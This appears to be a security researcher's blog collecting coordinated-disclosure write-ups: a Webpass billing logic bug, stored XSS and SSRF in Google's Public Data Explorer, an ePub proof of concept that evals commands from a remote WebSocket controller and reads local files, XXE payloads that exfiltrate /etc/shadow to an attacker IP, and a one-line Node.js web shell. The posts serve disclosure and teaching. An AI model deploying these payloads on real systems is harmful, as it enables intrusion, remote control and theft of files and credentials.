Posts

  • Plan Change Logic in Google Fiber (Webpass)

    “Distracted from Distraction by Distraction” - T.S. Eliot

    TLDR; Found a simple logic bug when paying my annual Google Fiber bill (Webpass).

    I initially added a $50 payment to my Google Fiber (WebPass) annual subscription, and then switched from annual to monthly billing, and saw that $550 (the annual amount) was credited to the account, and $60 was billed to the account for the new subscription.

    POST /api/plan_changes HTTP/1.1
    Host: webpass.net
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    
    from_subscription_id=12345&cashier=

    I then replayed the same API operation that was initially called to change the subscription about six more times and saw that each time I called it $550 was credited to the account, and $60 was billed to the account.

    Image

    At this point there was $2,450 credited to the account, and it showed that the previously invoiced amount had been paid. It would have been fun to call that API operation 100+ more times to see what would happen 😅, but I just reported it instead.

    Image

    It was covered under the Google VRP because Webpass is a 2016 Google Fiber acquisition. A few days later someone took the credits out of my account which reset my account balance back to $0.

    Thanks to the Google VRP team. 👋

    @signalchaos

    Disclosure timeline stuff:

    • Nov 2019: Reported the plan_changes bug to the Google VRP
    • Jan 2020: Reported an authorization bug in some API operations that allowed customer subscriptions to be changed.
  • Stored XSS, and SSRF in Google using the Dataset Publishing Language

    “Those who rule data will rule the entire world.” - 孫正義

    TLDR; Crafting Dataset Publishing Language bundles to get stored XSS in the context of www.google.com, and using the DSPL remote sources functionality to access local services (SSRF).

    The Google Public Data Explorer is a tool to make large datasets easy to explore and visualize. eg., Visualizing Health expenditure, World Bank data (% of government expenditure). Image

    Dataset Publishing Language (DSPL) uses XML to describe the dataset metadata and uses CSV data files: eg., sample.zip

    Archive:  sample.zip
      Length      Date    Time    Name
    ---------  ---------- -----   ----
          246  02-01-2018 13:19   countries.csv
          221  02-14-2011 17:13   country_slice.csv
         7812  03-04-2018 21:12   dataset.xml
          246  02-14-2011 17:13   gender_country_slice.csv
           28  01-29-2018 20:55   genders.csv
          200  02-14-2011 17:13   state_slice.csv
          300  01-29-2018 21:11   states.csv
    ---------                     -------
         9053                     7 files

    The issue here was that Google Public Data Explorer would use some supplied metadata in the dataset archive without context aware encoding or validation.

    eg., using a sample dataset:

    • curl https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/dspl/tutorial1.0.zip -o sample.zip
    • unzip sample.zip; rm sample.zip

    Modifying the metadata name value of dataset.xml. The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.

    <info>
      <name>
        <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
      </name>
        <description>
          <value>Some very interesting statistics about countries</value>
        </description>
        <url>
          <value>http://google.com</value>
        </url>  
    </info>
    • zip -r poc.dspl *
    • Upload the dataset to Google Public Data Explorer, and share it publically.

    So anyone who viewed the shared dataset would execute an attackers arbitrary JavaScript in the context of the www.google.com domain. (eg., coinhive 🤔)

    Short video showing how this worked before it was fixed. Allows stored XSS in the context of www.google.com using DSPL:

    Dataset Publishing Language also has functionality to allow data to be retrieved from remote HTTP or FTP sources. This functionality allowed SSRF (server-side request forgery) to access localhost service resources (potentially also allows access to internal, non internet accessible systems/devices).

    eg., contents of poc.dspl/dataset.xml

    <table id="my_table">
      <column id="first" type="string"/>
      <column id="last" type="string"/>
      <data>
        <file format="csv" encoding="utf-8">ftp://0.0.0.0:22</file>
      </data>
    </table>

    Uploading this dataset would return the response of the HTTP/FTP request in the resulting error condition responses. eg.,

    Image In this example it shows the local SSH banner response which is a service that is not publically accessible.

    This was fun to look into when I took some time off in January. Thanks to @sirdarckcat and the Google Security team for the great VRP! If anyone reads this and finds stuff that I missed, you should let me know. 😅 @signalchaos

    Thanks for reading, 👋

    Disclosure timeline stuff:

    • Jan 2018: Reported to Google
    • Feb 2018: Verified that the reported issues were fixed
    • Feb 2018: Rewarded $5,000 for Stored XSS
    • Mar 2018: Rewarded $13,337 for SSRF
  • This book reads you - using JavaScript

    “Yes, books are dangerous. They should be dangerous - they contain ideas.” - Pete Hautman

    On a previous post about ePub parsers (This book reads you - exploiting services and readers that support the ePub book format), I mentioned using scripting capabilities in ePub to perform local attacks against users.

    Apple just released a fix for one issue I reported last year in iBooks that allowed access to files on a users system when a book was opened. iBooks on El Capitan would open an ePub using the file:// origin, which would allow an attacker to access the users file system when they opened a book. (CVE-2017-2426)

    To help demonstrate how this could be used to perform attacks against users, I added a WebSocket client to a book, so that all users who open the book will connect back to a WebSocket controller server that will feed them arbitrary instructions. The WebSocket client in the ePub will allow access as long as the user has the book open (expectation is that it could be open for a long time, if the user is provided with something worth reading).

    eg., Sending a book to a user: Image

    iBooks connects to the WebSocket Controller when opening the book: Image

    iBooks connecting back to a WebSockets Controller. Local files can be retrieved if the reader is vulnerable to CVE-2017-2426 (file:// origin): Image

    Video demo of how this works (trying to type with one hand):

    This is the POC book if you want to try it yourself. You can open it in a reader like Apple iBooks or Adobe Digital Editions.

    Image

    Disclaimer: The POC connects to my controller, but I promise not to do anything bad. 😉

    To modify it to point to your own controller:

    • curl https://s1gnalcha0s.github.io/assets/controller/POC.epub -o poc.epub

    • unzip poc.epub; rm poc.epub

    eg., contents of poc.epub/EPUB/js/main.js

    WebSocketController = 'ws://websocket-controller.herokuapp.com:80';
    
    var socket = new WebSocket(WebSocketController, 'echo-protocol');
    socket.onopen = function(evt) { onopen() };
    socket.onmessage = function(msg) { onmessage(msg) };
    socket.onclose = function(evt) { onerror() }
    
    function onopen()
    {
      message('Connected to WebSocket Controller: ' + WebSocketController);
    }
    
    function onerror()
    {
      message('Unable to connect to WebSocket Controller: ' + WebSocketController);
    }
    
    function onmessage(msg)
    {
      //just eval anything sent from the controller
      response = eval(msg.data);
    
      //send response back to controller
      socket.send(response);
    }
    
    function get(loc) {
      var xmlhttp = new XMLHttpRequest();
      xmlhttp.open('GET', 'file://' + loc,false);
      xmlhttp.send();
      
      //populate the message element
      message(xmlhttp.responseText);
    
      return xmlhttp.responseText;
    }
    
    function message(message) {
      document.getElementById("message").innerText = message;
      return message;
    }
    
    function showExfil() {
      get('/etc/passwd');
    }
    • zip -r poc.epub *

    Node.js WebSocket Controller:

    • curl https://s1gnalcha0s.github.io/assets/controller/server.js -o server.js
    • npm install websocket
    • node server.js

    Disclosure timeline stuff:

    • Dec 2016: Reported to Apple.
    • Mar 2017: Fix release, and this post.

    Shoutouts:

    @shhnjk reported CVE-2017-2426 as well around the same time 👍.
    @mccabe615 ran a POC to help me confirm some issues independently.

    Thanks for reading. 👋

    @craig

  • This book reads you - exploiting services and readers that support the ePub book format

    “We use the ePub format - it is the most popular open book format in the world. We’re very excited about this.” - Steve Jobs, 2010 (original iPad launch)

    TLDR; Applying a familiar XXE pattern to exploit services & readers that consume the ePUB format. Exploiting vulnerabilities in EpubCheck <= 4.0.1 (ePub Validation Java Library & tool), Adobe Digital Editions <= 4.5.2 (book reader), Amazon KDP (Kindle Publishing Online Service), Apple Transporter, and Google Play Book uploads, etc.

    ePub is a standard format for open books maintained by IDPF (International Digital Publishing Forum). IDPF is a trade and standards association for the digital publishing industry, set up to establish a standard for ebook publishing. Their membership list: http://idpf.org/membership/members

    An epub is based on XML, CSS, XHTML, etc web content zipped together into a single package, which ends in the extension .epub. Depending on the reader device/application support, ePub can also support interactivity using Flash and Javascript.

    ePub uses XML metadata to define the document structure, support digital signatures, digital rights (DRM) etc.

    eg., epub archive:

    Archive:  book.epub
      Length      Date    Time    Name
    ---------  ---------- -----   ----
           20  04-09-2014 15:41   mimetype
         2189  04-09-2014 15:41   toc.ncx
        39962  04-09-2014 15:41   OEBPS/chapter-001-chapter-i.html
        41745  04-09-2014 15:41   OEBPS/chapter-002-chapter-ii.html
          684  04-09-2014 15:41   OEBPS/title-page.html
          557  04-09-2014 15:41   OEBPS/front-cover.html
        42220  04-09-2014 15:41   OEBPS/chapter-003-chapter-iii.html
         1185  04-09-2014 15:41   OEBPS/copyright.html
          884  04-09-2014 15:41   OEBPS/table-of-contents.html
       234790  04-09-2014 15:41   OEBPS/assets/pressbooks-promo.png
        33684  04-09-2014 15:41   OEBPS/assets/MedulaOne-Regular.ttf
       244146  04-09-2014 15:41   OEBPS/assets/themetamorphosis_1200x1600.jpg
          661  04-09-2014 15:41   OEBPS/pressbooks-promo.html
        27328  04-09-2014 15:41   OEBPS/jackson.css
         3494  04-09-2014 15:41   book.opf
          240  04-09-2014 15:41   META-INF/container.xml
          157  04-09-2014 15:41   META-INF/com.apple.ibooks.display-options.xml
    ---------                     -------
       673946                     17 files

    eg., contents of META-INF/container.xml

    <?xml version="1.0"?>
    <container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container">
     <rootfiles>
     <rootfile full-path="OEBPS/book.opf"
     media-type="application/oebps-package+xml" />
     </rootfiles>
    </container>

    eg., contents of book.opf

    <?xml version="1.0" encoding="UTF-8" ?>
        <package version="2.0" xmlns="http://www.idpf.org/2007/opf" unique-identifier="PrimaryID">
        <metadata xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:opf="http://www.idpf.org/2007/opf">
        <dc:title>My Book </dc:title>
        <dc:language>en</dc:language>
        <dc:identifier id="PrimaryID" opf:scheme="URI">http://mybook.com</dc:identifier>
        <dc:description>Description</dc:description>
        <dc:creator opf:role="aut">Author</dc:creator>
        <dc:publisher>Publisher.com</dc:publisher>
        <meta name="cover" content="cover-image" />
    </metadata>

    When I first started looking into this, I learned about a tool/Java library called EpubCheck (provided by IDPF) that is used to validate books in the ePub format. Book publishers tend to perform a validation step using something like this to check the format validity. The validator tool/library was vulnerable to XXE, so any application that relies on a vulnerable version to check the validity of a book would be susceptible to this type of attack.

    Modifying an existing ePub file to test for XML parsing vulnerabilities:

    • curl https://s3-us-west-2.amazonaws.com/pressbooks-samplefiles/MetamorphosisJacksonTheme/Metamorphosis-jackson.epub -o book.epub

    • unzip book.epub; rm book.epub

    • Edit any of the files that contain XML metadata.

    eg., book.opf (XXE - XML External Entities pattern)

    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE a [<!ENTITY % b SYSTEM "http://123.123.123.123/dtd">%b;%c;]><package version="2.0" xmlns="http://www.idpf.org/2007/opf" unique-identifier="PrimaryID">
    <metadata xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:opf="http://www.idpf.org/2007/opf">
    <dc:title>Metamorphosis</dc:title>
    <dc:language>en</dc:language>
    <dc:identifier id="PrimaryID" opf:scheme="URI">http://metamorphosiskafka.pressbooks.com</dc:identifier>
    <dc:description>&send;</dc:description>
    • zip -r book.epub *

    • Point at a HTTP server to serve the following contents, and specifying a FTP server to recieve the specified file

    <!ENTITY % d SYSTEM "file:///etc/shadow">
    <!ENTITY % c "<!ENTITY send SYSTEM 'ftp://123.123.123.123/%d;'>">

    EpubCheck <= 4.0.1

    There was a online instance of EpubCheck, that would accept user uploads and perform validation on the format. This provides an example of how this vulnerability could be used to attack online services that support ePub in some way, if they are using a vulnerable version of EpubCheck to validate the uploaded file.

    Uploading our created file: Image

    HTTP listener receiving the dtd request when parsed by the remote XML parser, and custom FTP listener receiving the file (I didn’t think it would work, but specified /etc/shadow as the file to retrieve).
    Image

    This means that we accidentally retrieved the /etc/shadow file. Public facing web apps running as root/system in prod… 😫

    A few examples of other services, and applications I came across that were vulnerable:

    Amazon KDP which allows publishers to upload books, was susceptible to XXE when converting books to the Kindle format. Image Image

    Adobe Digital Editions <= 4.5.2 (book reader) when a user opens a book, this would allow files to be taken from their system. CVE-2016-7889.

    External DTD specifying the file to retrive:

    <!ENTITY % d SYSTEM "file:///c:/Users/Documents/secret.txt">
    <!ENTITY % c "<!ENTITY send SYSTEM 'http://123.123.123.123/exfil/%d;'>">

    eg., Retrieving secret stuff from a users Windows documents folder: Image

    Apple Transporter (underlying tool used to validate metadata and assets and deliver them to the iTunes Store), CVE-2016-7666. Image

    Google Play Book uploads did not allow external entity processing, but was vulnerable to XML exponential entity expansion billion laughs. When uploading a ePub with this pattern, it would spend about 45 minutes trying to process the file before returning an error condition. Google confirmed this on their side.

    There are more things going on with the ePub format beyond the familiar patterns shown here. Some applications will allow Flash to be run, and Javascript execution in the context of the book reader, so you can imagine this can be used to perform some attacks; currently waiting on vendor fixes before talking about this.

    Disclosure timeline stuff:

    • Sep 2016: Reported XXE in EpubCheck <= 4.0.1.
    • Sep 2016: Reported XXE in Adobe Digital Editions <= 4.5.2.
    • Sep 2016: Reported XXE in Amazon KDP.
    • Oct 2016: Reported XXE in Apple Transporter
    • Oct 2016: Reported XML exponential entity expansion in play.google.com book uploads.
    • Dec 2016: Coordinated disclosure.
    • Jan 2017: This blog post (lots of time for users to patch).

    Thanks to CERT/CC for their help in coordinating with different vendors & IDPF, and setting a disclosure timeline. I only tested a handful of digital readers and services, so if you find other vulnerable readers/services, tell CERT/CC (they were tracking the ePubCheck issue as VU#779243).

    If you got this far, thanks for reading. 👋

    @craig

  • SSJS Web Shell Injection

    I’ve recently become interested in real world examples of vulnerabilities in Node.js applications, which allow Server Side Javascript Injection. One advisory I came across was CVE-2014-7205 discovered by Jarda Kotěšovec in a Basmaster plugin which allows arbitrary Javascript injection.

    I decided to mock up a simple example of user input passed to an eval() execution sink, to demonstrate an injection of a simple web shell into the server. This web shell will only exist within the current node.js process, and will not be written to disk.

    This demo application will only allow a single user input selection to keep things simple: Demo app

    Vulnerable code (user input passed to an eval execution sink):

    router.post('/demo1', function(req, res) {
      var year = eval("year = (" + req.body.year + ")");
      var date = new Date();
    
      var futureAge = 2050 - year;
    
      res.render('demo1',
        {
          title: 'Future Age',
          output: futureAge
        });
    });

    In this example res.write(‘SSJS Injection’) is injected, and the server will return that string in the page response: Demo app

    So we can perform arbitrary SSJS injection on this location. What about injecting a web shell that will start up after 5 seconds, listening on TCP/8000?

    setTimeout(function() {
        require('http').createServer(function(req, res) {
            res.writeHead(200, {
                "Content-Type": "text/plain"
            });
            require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e, s, st) {
                res.end(s);
            });
        }).listen(8000);
    }, 5000)

    One line web shell:

    setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8000); }, 5000)

    Because we are inserting code which will be eval’d by the application, the web shell will not be written to disk, and execution will be performed from the existing node process.

    Injection of the web shell (application continues to respond normally): Demo app

    Execution of cat /etc/passwd using the web shell: Demo app

    Execution of ls -la /etc: Demo app

    This is a really simple example of an application with a SSJS injection vulnerability. Another thing to note is that tools to identify web application vulnerabilities may not have support to detect this vulnerability. At the time of this writing, Burp Suite v1.6.10 did not identify a SSJS injection vulnerability in the demo application.

subscribe via RSS